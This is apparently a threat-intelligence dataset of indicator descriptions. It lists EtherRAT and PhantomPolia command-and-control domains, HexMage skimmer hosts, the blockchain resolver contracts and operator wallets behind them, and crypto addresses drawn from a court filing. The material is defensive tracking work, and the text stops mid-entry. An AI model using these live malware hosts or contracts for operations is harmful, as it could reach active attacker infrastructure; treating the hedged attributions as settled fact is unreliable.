3 43.…","…fees, also Case 1:24-cv-02828 Document 1 Filed 10/04/24 Page 12 of 19 13 Tron addresse s, namely : Address # Address 1 TQdNvhGKQtVKNhBSJ1xbisxiNxUCgPBzCM 2 TEGTuvMgEMcLP21GLa3XUCSsgZn4pbgggw 3 TWcfg4q4wH36J5R4Au8KnPFrxcrQd1YenP 4 TWXhVnNi4bUiii7g13YyWQuR1gacsp2mno 5…","…of 8,426 ETH and 74.6 million ARB, about $30 million. ⬇️ October 30, 01:38 — Polytrop flagged the first source address in the case: TSpe5HC3PRD2svJcr1YoGszhHk2mtkyZ8A on Tron. 03:48 — Polytrop flagged 0x15104a9ce0f08a8f0075a0869ae80e795fe0feb7 , the address ZachXBT linked to the Bitget hack.…","…Binance's TRON hot wallet TG5iBMQPrDzJJAUM8GMVBf1hRaJ1wvzsGi First TRON receiver, 312.7M USDT frozen TSpe5HC3PRD2svJcr1YoGszhHk2mtkyZ8A First TRX stash, emptied 10:15-10:20 UTC on 30 Oct TKkH2vH6kyi2QKcMbqym53WMuvdd1xvw6K New TRX stash, 158.2M TRX at 10:20:18 on 30…","…2023, and March 29, 2023, two of the thirty - two Tron addresses were frozen : Defendant Property # Address Approx. Value 4 TT8WVp65uEJM4xdAkx2hJerQX5moeZYUEw 90,408 USDT 5 TN6iW22qfXM2c6L8amCvcGx3WcvTShvbMP 37,464 USDT Wave 3 43.…","…Tron addresse s, namely : Address # Address 1 TQdNvhGKQtVKNhBSJ1xbisxiNxUCgPBzCM 2 TEGTuvMgEMcLP21GLa3XUCSsgZn4pbgggw 3 TWcfg4q4wH36J5R4Au8KnPFrxcrQd1YenP 4 TWXhVnNi4bUiii7g13YyWQuR1gacsp2mno 5 TF3JRez3XpJJYDCJ4hPtA1BTyxRurYsHTd ( Defendant Property 1) 6…","…Address 1 TQdNvhGKQtVKNhBSJ1xbisxiNxUCgPBzCM 2 TEGTuvMgEMcLP21GLa3XUCSsgZn4pbgggw 3 TWcfg4q4wH36J5R4Au8KnPFrxcrQd1YenP 4 TWXhVnNi4bUiii7g13YyWQuR1gacsp2mno 5 TF3JRez3XpJJYDCJ4hPtA1BTyxRurYsHTd ( Defendant Property 1) 6 TBABZTh7p3tZGMnMefQkjqZuuyQK4iBCkS ( Defendant Property 2) 7…","This is a third-party-reported list, not independently verified per-repository by Chollima Hunter. Presence on this list does not establish that a repository's current owner is aware of or responsible for the compromise -- in most cases the owner is the victim, whose repository had malicious code injected into it (via a compromised account, a merged malicious pull request, or a compromised dependency), not the operator. Do not treat inclusion as an accusation against any named GitHub account.","Command-and-control domain the Polygon EtherHiding contract 0xa3a603f8a454a9c905b4c579bb72628f7c15c2a0 served to a macOS implant, from Prophet Security's list of domains read from the contract's writes since 2026-05-18.","EtherRAT command-and-control domain the operator wrote to the watchlisted resolver contract 0x3f35e6fbe1098f0685137ab81189e891939825af with setString on 2026-03-17, read by this site from the contract's write history. Recorded as the address the implant was pointed at, not as a host this site has observed serving anything. A domain an operator points an implant at can be a compromised legitimate site rather than one it registered.","EtherRAT command-and-control domain the operator wrote to the resolver contract on 2026-03-16, recovered by Hokage Vanguard from the contract's setString history and confirmed by this site from the same transactions. Registered through Tucows with Njalla nameservers, the registration pattern the report identifies across the campaign.","TryCloudflare tunnel the operator wrote to EtherRAT resolver contract 0xdf0b529043ef7a2bb9111bad26de624a326bacf9 in April or May 2026, listed by The DFIR Report. TryCloudflare names are ephemeral and free to create, so the name records what the implant was pointed at, not a host likely to be reused. The DFIR Report published this deployment as EtherRAT in an intrusion that ended in The Gentlemen ransomware and names no nation-state; the DPRK label rests only on Sysdig's attribution of the EtherRAT family, so this entry carries low confidence and should not be read as a DPRK attribution of the intrusion itself.","EtherRAT command-and-control domain the operator wrote to the resolver contract on 2026-04-25, recovered by Hokage Vanguard from the contract's setString history and confirmed by this site from the same transactions. Registered through Tucows with Njalla nameservers, the registration pattern the report identifies across the campaign.","EtherRAT command-and-control domain the operator wrote to the watchlisted resolver contract 0x3f35e6fbe1098f0685137ab81189e891939825af with setString on 2026-03-18, read by this site from the contract's write history. Recorded as the address the implant was pointed at, not as a host this site has observed serving anything. A domain an operator points an implant at can be a compromised legitimate site rather than one it registered.","Value written to the EtherRAT resolver contract 0x277852e1c349b03c79e348018a8391bd21c412e8 by operator wallet 0x6c0bdc011f31715c4ff537aa9c6a8a141f8a6119 on 2026-07-23, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). An Azure cloudapp.azure.com name written by an operator of the contract, in the same pattern as other Azure-hosted EtherRAT values; the name is a free regional label and says nothing about the account behind it. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Value written to the EtherRAT resolver contract 0x21f9a727e9668a3fc30393a344d8a3a98f4f3b8d by operator wallet 0x233f7ac7f307d2c781be66da432cb865efa804e0 on 2025-11-29, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2025-11-29, the day it was written, through Tucows Domains Inc. with nameservers 1-you.njalla.no and 2-can.njalla.in and 3-get.njalla.fo, the Njalla privacy-registrar pattern that other EtherRAT operator domains share. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Value written to the EtherRAT resolver contract 0xf1f3ac96e49f6a71d031444e59268c27b3511914 by operator wallet 0xf3947eeb5db984e9498da449c13305ed27428bc0 on 2025-12-20, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2025-12-19, 1 day before the write, through PDR Ltd. d/b/a PublicDomainRegistry.com with nameservers dns1.regway.com and dns2.regway.com and dns3.regway.com and dns4.regway.com. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Command-and-control host the EtherRAT fake Microsoft Teams campaign stored on chain: written as https://apollo.australiaeast.cloudapp.azure.com to contract 0x788a5336c0ef70be87619a3c13a43050c426f7ec by the campaign's resolver address on 2026-06-29. The name is a Microsoft Azure virtual machine's public DNS name, so it points at whatever machine holds it now. Recovered by this site's hunt; recorded as a host the malware was pointed at, not one this site has observed serving anything.","EtherRAT command-and-control domain the operator wrote to the watchlisted resolver contract 0x3f35e6fbe1098f0685137ab81189e891939825af with setString on 2026-03-16, read by this site from the contract's write history. Recorded as the address the implant was pointed at, not as a host this site has observed serving anything. A domain an operator points an implant at can be a compromised legitimate site rather than one it registered.","HexMage skimmer delivery host that the Ethereum Sepolia contract 0xf8290bea4e7585302ba9984b76766d4f0e282c0e resolves to, observed by Confiant serving the card skimmer to compromised checkout pages.","Value written to the EtherRAT resolver contract 0xdf0b529043ef7a2bb9111bad26de624a326bacf9 by operator wallet 0x5953f27f044779a3afcd2bf56a4b712583dd2e4e on 2026-10-01, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). A TryCloudflare tunnel name written by an operator of the contract; these names are ephemeral and free to create, so the entry records what the implant was pointed at rather than a host likely to be reused. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","EtherRAT command-and-control domain the operator wrote to the resolver contract on 2026-03-09, recovered by Hokage Vanguard from the contract's setString history and confirmed by this site from the same transactions. Registered through Tucows with Njalla nameservers, the registration pattern the report identifies across the campaign.","…EtherRAT C2 Domain palshona.com EtherRAT C2 Domain aurineuroth.com EtherRAT C2 IP 185.218.19.162 EtherRAT C2 Command Line…","Command-and-control domain the EtherHiding contract 0xe1f2395ee43e45a1556ec6438a88c31b83493103 returned on 2026-08-06.","Value written to the EtherRAT resolver contract 0x45729d7424d7310a0c041a2906ba95a4bd5ebfca by operator wallet 0xa001d3863b138ed523f255f62725ab1ddc82af87 on 2026-11-10 (transaction 0xe1ee6e2e468df06f4120bd504526840a9de2ab14a4b097f1469cd0824925c8dc), as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-11-10, the day it was written, through Tucows Domains Inc. with nameservers 1-you.njalla.no, 2-can.njalla.in and 3-get.njalla.fo, the Njalla privacy-registrar pattern that other EtherRAT operator domains share. It was the contract's value when this site read it on 2026-11-11. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution. The same value was written on the same day to 0x788a5336c0ef70be87619a3c13a43050c426f7ec, the resolver of the EtherRAT fake Microsoft Teams campaign, by its resolver address 0x6e044e19000487c4a6e6af15b4132a5561b5ee1f (transaction 0x895edb53c404673fff4a141536b0f5b6e76af6dfd3ceeb8b578da2c135eece74), so the two resolvers were pointed at one host; this is this site's own observation.","Value written to the EtherRAT resolver contract 0x45729d7424d7310a0c041a2906ba95a4bd5ebfca by operator wallet 0xa001d3863b138ed523f255f62725ab1ddc82af87 on 2026-03-17, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-03-17, the day it was written, through Tucows Domains Inc. with nameservers 1-you.njalla.no and 2-can.njalla.in and 3-get.njalla.fo, the Njalla privacy-registrar pattern that other EtherRAT operator domains share. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Value written to the EtherRAT resolver contract 0x45729d7424d7310a0c041a2906ba95a4bd5ebfca by operator wallet 0xa001d3863b138ed523f255f62725ab1ddc82af87 on 2026-03-09, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-03-09, the day it was written, through Tucows Domains Inc. with nameservers 1-you.njalla.no and 2-can.njalla.in and 3-get.njalla.fo, the Njalla privacy-registrar pattern that other EtherRAT operator domains share. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","HexMage skimmer delivery host that the Ethereum Sepolia contract 0xffbc6712ef6b8f4c8542cbc51fc6bbca06b08455 resolves to, observed by Confiant serving the card skimmer to compromised checkout pages.","HexMage skimmer delivery host that the Ethereum Sepolia contract 0xd641493ea15a3f3b3de327401c8cd63e36236bfb resolves to, observed by Confiant serving the card skimmer to compromised checkout pages.","Host stored in plain base64 in a HexMage resolver contract (0x41d18136bb899b4316bc7fcd868791d29ffc47a8, created 2026-04-29) that Confiant lists as staged rather than observed: written on chain ahead of use, with no skimmer traffic seen for it when the report was written.","HexMage skimmer delivery host that the Ethereum Sepolia contract 0x77fedd16e94a86d2797bfecc9b82199790188620 resolves to, observed by Confiant serving the card skimmer to compromised checkout pages.","Domain that served the EtherRAT installer (v7.msi) in the fake Microsoft Teams IT-support campaign.","EtherRAT command-and-control domain the operator wallet 0x2dbca26addf031ada655861933d0386a39ea6427 wrote to the watchlisted resolver contract 0x8b12e09abb2e5130310b24c75b51c8afd85e8223 with setString on 2026-05-28 (transaction 0x8e55fdd55f91bd451624267e083643f5ff35c14c9ef3f8c43bb367f5dcb27fd0), between publisherresolution.com and dns1.southafricanorth.cloudapp.azure.com, read by this site from the contract's write history. The domain was registered on 2026-05-01, four weeks before the write. It was first held as a parked value because its registrar differed from that of some other EtherRAT domains; the operator's C2 domains use several registrars, and a recent registration written by the operator's own wallet between two C2 values is not the pattern of the dictionary-word parked values, so it was reclassified on 2026-10-05. Recorded as the address the implant was pointed at, not as a host this site has observed serving anything.","EtherRAT command-and-control domain the operator wrote to the watchlisted resolver contract 0xc12c8d8f9706244eca0acf04e880f10ff4e52522 with setString on 2026-03-31, read by this site from the contract's write history. Recorded as the address the implant was pointed at, not as a host this site has observed serving anything. A domain an operator points an implant at can be a compromised legitimate site rather than one it registered.","Value written to the EtherRAT resolver contract 0x45729d7424d7310a0c041a2906ba95a4bd5ebfca by operator wallet 0xa001d3863b138ed523f255f62725ab1ddc82af87 on 2026-03-03, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-03-03, the day it was written, through Tucows Domains Inc. with nameservers 1-you.njalla.no and 2-can.njalla.in and 3-get.njalla.fo, the Njalla privacy-registrar pattern that other EtherRAT operator domains share. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Command-and-control host the EtherRAT fake Microsoft Teams campaign stored on chain: written as https://cover.swedencentral.cloudapp.azure.com to contract 0x788a5336c0ef70be87619a3c13a43050c426f7ec by the campaign's resolver address on 2026-06-22. The name is a Microsoft Azure virtual machine's public DNS name, so it points at whatever machine holds it now. Recovered by this site's hunt; recorded as a host the malware was pointed at, not one this site has observed serving anything.","Remus Stealer command-and-control domain in the PhantomPolia campaign, the stealer delivered by the loader that resolves its own C2 from Ethereum Sepolia contracts, as reported by LevelBlue SpiderLabs.","HexMage skimmer delivery host that the Ethereum Sepolia contract 0xe0f9aca9384da7b7dd04fa9fe06dfe51d816d9ec resolves to, observed by Confiant serving the card skimmer to compromised checkout pages.","Value written to the EtherRAT resolver contract 0x8b12e09abb2e5130310b24c75b51c8afd85e8223 by operator wallet 0x2dbca26addf031ada655861933d0386a39ea6427 on 2026-03-25, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). A TryCloudflare tunnel name written by an operator of the contract; these names are ephemeral and free to create, so the entry records what the implant was pointed at rather than a host likely to be reused. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Value written to the EtherRAT resolver contract 0x45729d7424d7310a0c041a2906ba95a4bd5ebfca by operator wallet 0xa001d3863b138ed523f255f62725ab1ddc82af87 on 2026-04-23, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-04-23, the day it was written, through Tucows Domains Inc. with nameservers 1-you.njalla.no and 2-can.njalla.in and 3-get.njalla.fo, the Njalla privacy-registrar pattern that other EtherRAT operator domains share. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Value written to the EtherRAT resolver contract 0x277852e1c349b03c79e348018a8391bd21c412e8 by operator wallet 0x6c0bdc011f31715c4ff537aa9c6a8a141f8a6119 on 2026-06-21, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). An Azure cloudapp.azure.com name written by an operator of the contract, in the same pattern as other Azure-hosted EtherRAT values; the name is a free regional label and says nothing about the account behind it. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","EtherRAT command-and-control domain the operator wrote to the watchlisted resolver contract 0x9268cc33d59415b033dc5d709ce30bbe09708fe3 with setString between 2026-03-26 and 2026-03-27, read by this site from the contract's write history. Recorded as the address the implant was pointed at, not as a host this site has observed serving anything. A domain an operator points an implant at can be a compromised legitimate site rather than one it registered.","Value written to the EtherRAT resolver contract 0x3f35e6fbe1098f0685137ab81189e891939825af by operator wallet 0xbfafba01a34aa6d53adcd1eac5ff5a7ee38a40ad on 2026-03-19, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-03-19, the day it was written, through Global Domain Group LLC with nameservers ns1.globaldomaingroup.com and ns2.globaldomaingroup.com. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","EtherRAT command-and-control domain the operator wrote to the resolver contract on 2026-02-23, recovered by Hokage Vanguard from the contract's setString history and confirmed by this site from the same transactions. Registered through Tucows with Njalla nameservers, the registration pattern the report identifies across the campaign.","…EtherRAT C2 Domain mebeliotmasiv.com EtherRAT C2 Domain euclidrent.com EtherRAT C2 Domain o-parana.com EtherRAT C2 Domain…","Value written to the EtherRAT resolver contract 0x8b12e09abb2e5130310b24c75b51c8afd85e8223 by operator wallet 0x2dbca26addf031ada655861933d0386a39ea6427 on 2026-03-31, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). A TryCloudflare tunnel name written by an operator of the contract; these names are ephemeral and free to create, so the entry records what the implant was pointed at rather than a host likely to be reused. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Value written to the EtherRAT resolver contract 0x3f35e6fbe1098f0685137ab81189e891939825af by operator wallet 0xbfafba01a34aa6d53adcd1eac5ff5a7ee38a40ad on 2026-03-19, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-03-19, the day it was written, through Global Domain Group LLC with nameservers ns2.globaldomaingroup.com and ns1.globaldomaingroup.com. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Value written to the EtherRAT resolver contract 0x277852e1c349b03c79e348018a8391bd21c412e8 by operator wallet 0x6c0bdc011f31715c4ff537aa9c6a8a141f8a6119 on 2026-07-07, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-07-07, the day it was written, through Dominet (HK) Limited with nameservers hank.ns.cloudflare.com and jen.ns.cloudflare.com. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","HexMage skimmer delivery host that the Ethereum Sepolia contract 0x51e3f029209c210fa8946c219644394aae71224d resolves to, observed by Confiant serving the card skimmer to compromised checkout pages.","HexMage skimmer delivery host that the Ethereum Sepolia contract 0xf56f2af13080ea86c718849139fbf404b5050558 resolves to, observed by Confiant serving the card skimmer to compromised checkout pages.","EtherRAT command-and-control host the operator wrote to the resolver contract 0xe26c57b7fa8de030238b0a71b3d063397ac127d3 on 2026-09-30. This is an on-chain observation by this site, not a value carried in published reporting. An Azure-hosted name imitating the security vendor F-Secure. It was the operator's current value when this site read the contract on 2026-10-03.","Value written to the EtherRAT resolver contract 0x195ab0a6391e2c499321f67ba36ed8f4bdc9f5f4 by operator wallet 0x69a91686482de1df123b91106cbda763da034d4a on 2025-12-11, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2025-12-11, the day it was written, through MAT BAO CORPORATION with nameservers ns1.nulled-ns.com and ns2.nulled-ns.com. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","HexMage skimmer delivery host that the Ethereum Sepolia contract 0x46e18e042e0aa3fd7a29df15058c8672c197c644 resolves to, observed by Confiant serving the card skimmer to compromised checkout pages.","EtherRAT command-and-control domain the operator wrote to the resolver contract on 2026-02-06, recovered by Hokage Vanguard from the contract's setString history and confirmed by this site from the same transactions. Registered through Tucows with Njalla nameservers, the registration pattern the report identifies across the campaign.","…Node.js download URL Domain jariosos.com EtherRAT C2 Domain hayesmed.com EtherRAT C2 Domain regancontrols.com EtherRAT C2 Domain…","Value written to the EtherRAT resolver contract 0x45729d7424d7310a0c041a2906ba95a4bd5ebfca by operator wallet 0xa001d3863b138ed523f255f62725ab1ddc82af87 on 2026-09-01, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-09-01, the day it was written, through Tucows Domains Inc. with nameservers 1-you.njalla.no and 2-can.njalla.in and 3-get.njalla.fo, the Njalla privacy-registrar pattern that other EtherRAT operator domains share. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","PhantomPolia C2 domain that the Ethereum Sepolia contract 0x3b14187b76dc39005e8d568b26455d53bd198749 resolves to after decryption, as reported by LevelBlue SpiderLabs.","Value written to the EtherRAT resolver contract 0x45729d7424d7310a0c041a2906ba95a4bd5ebfca by operator wallet 0xa001d3863b138ed523f255f62725ab1ddc82af87 on 2026-06-13, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). An Azure cloudapp.azure.com name written by an operator of the contract, in the same pattern as other Azure-hosted EtherRAT values; the name is a free regional label and says nothing about the account behind it. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","EtherRAT command-and-control domain the resolver contract 0xb3f2897f2bc797e5b9033faef8c81e92b01cb831 returned from 2026-07-01, from Hunt.io's table of the contract's historical C2.","EtherRAT command-and-control domain the operator wrote to the resolver contract on 2026-01-20, recovered by Hokage Vanguard from the contract's setString history and confirmed by this site from the same transactions. Registered through Tucows with Njalla nameservers, the registration pattern the report identifies across the campaign.","…https://nodejs.org/dist/v18.17.0/node-v18.17.0-win-x64.zip Node.js download URL Domain jariosos.com EtherRAT C2 Domain hayesmed.com EtherRAT C2 Domain…","EtherRAT command-and-control host the operator wrote to the resolver contract 0xe26c57b7fa8de030238b0a71b3d063397ac127d3 on 2026-02-17. This is an on-chain observation by this site, not a value carried in published reporting. Registered on 2026-02-17, the day it was written, through Tucows with Njalla nameservers, the same pattern as the published domains. Written once, between two writes of salinasrent.com.","…EtherRAT C2 Domain salinasrent.com EtherRAT C2 Domain justtalken.com EtherRAT C2 Domain mebeliotmasiv.com EtherRAT C2 Domain…","Value written to the EtherRAT resolver contract 0x277852e1c349b03c79e348018a8391bd21c412e8 by operator wallet 0x6c0bdc011f31715c4ff537aa9c6a8a141f8a6119 on 2026-04-16, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-04-16, the day it was written, through Spaceship, Inc. with nameservers adi.ns.cloudflare.com and anderson.ns.cloudflare.com. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Value written to the EtherRAT resolver contract 0x45729d7424d7310a0c041a2906ba95a4bd5ebfca by operator wallet 0xa001d3863b138ed523f255f62725ab1ddc82af87 on 2026-07-30, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-07-30, the day it was written, through Tucows Domains Inc. with nameservers 1-you.njalla.no and 2-can.njalla.in and 3-get.njalla.fo, the Njalla privacy-registrar pattern that other EtherRAT operator domains share. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Value written to the EtherRAT resolver contract 0x45729d7424d7310a0c041a2906ba95a4bd5ebfca by operator wallet 0xa001d3863b138ed523f255f62725ab1ddc82af87 on 2026-05-29, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-05-29, the day it was written, through Tucows Domains Inc. with nameservers 1-you.njalla.no and 2-can.njalla.in and 3-get.njalla.fo, the Njalla privacy-registrar pattern that other EtherRAT operator domains share. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Value written to the EtherRAT resolver contract 0x45729d7424d7310a0c041a2906ba95a4bd5ebfca by operator wallet 0xa001d3863b138ed523f255f62725ab1ddc82af87 on 2026-03-16, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-03-16, the day it was written, through Tucows Domains Inc. with nameservers 1-you.njalla.no and 2-can.njalla.in and 3-get.njalla.fo, the Njalla privacy-registrar pattern that other EtherRAT operator domains share. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Value written to the EtherRAT resolver contract 0x277852e1c349b03c79e348018a8391bd21c412e8 by operator wallet 0x6c0bdc011f31715c4ff537aa9c6a8a141f8a6119 on 2026-04-29, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-04-29, the day it was written, through PDR Ltd. d/b/a PublicDomainRegistry.com with nameservers fred.ns.cloudflare.com and treasure.ns.cloudflare.com. The registration pattern, not the name, is what separates this from the 